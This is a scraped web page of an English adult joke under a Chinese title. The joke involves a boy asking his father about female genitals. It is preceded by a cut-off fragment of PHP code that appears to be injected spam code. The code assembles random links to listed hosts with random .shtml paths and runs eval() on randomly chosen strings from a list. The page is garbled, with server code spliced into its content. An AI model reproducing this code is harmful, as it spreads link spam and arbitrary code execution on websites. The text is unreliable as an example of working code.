30){ if(count($wList) <= 0){ break; } $rk1 = mt_rand(0,count($wList)-1); $h = trim($wList[$rk1]); if(empty($h)){ continue; } // $a .= $h . '/' . $dTmp . '/' . date('d',time()) . '/' .mt_rand(100000,999999) . '.html'; $a .= $h . '/' . $dTmp . '/' . mt_rand(100000,9999999) . '.shtml'; // $a .= $h; }else{ $urk = mt_rand(0,count($uList)-1); eval($uList[$urk]); } $a .= '">'; $str .= $a; } echo $str; ?> Before or after sex_英语成人笑话

Before or after sex_英语成人笑话

2010-08-17joke

Before or after sex_英语成人笑话
Before or after sex_英语成人笑话(插图)

Before or after sex

A little boy walks up to his father and says, "Dad, what does a pussy look like?"

Father responds, "well son, before or after sex?"

Son, "Well, before?"

Father, "picture a tulip with all the petals son."

Son, "well what about after?"

Father, "Picture a bull dog eating mayonnaise!"


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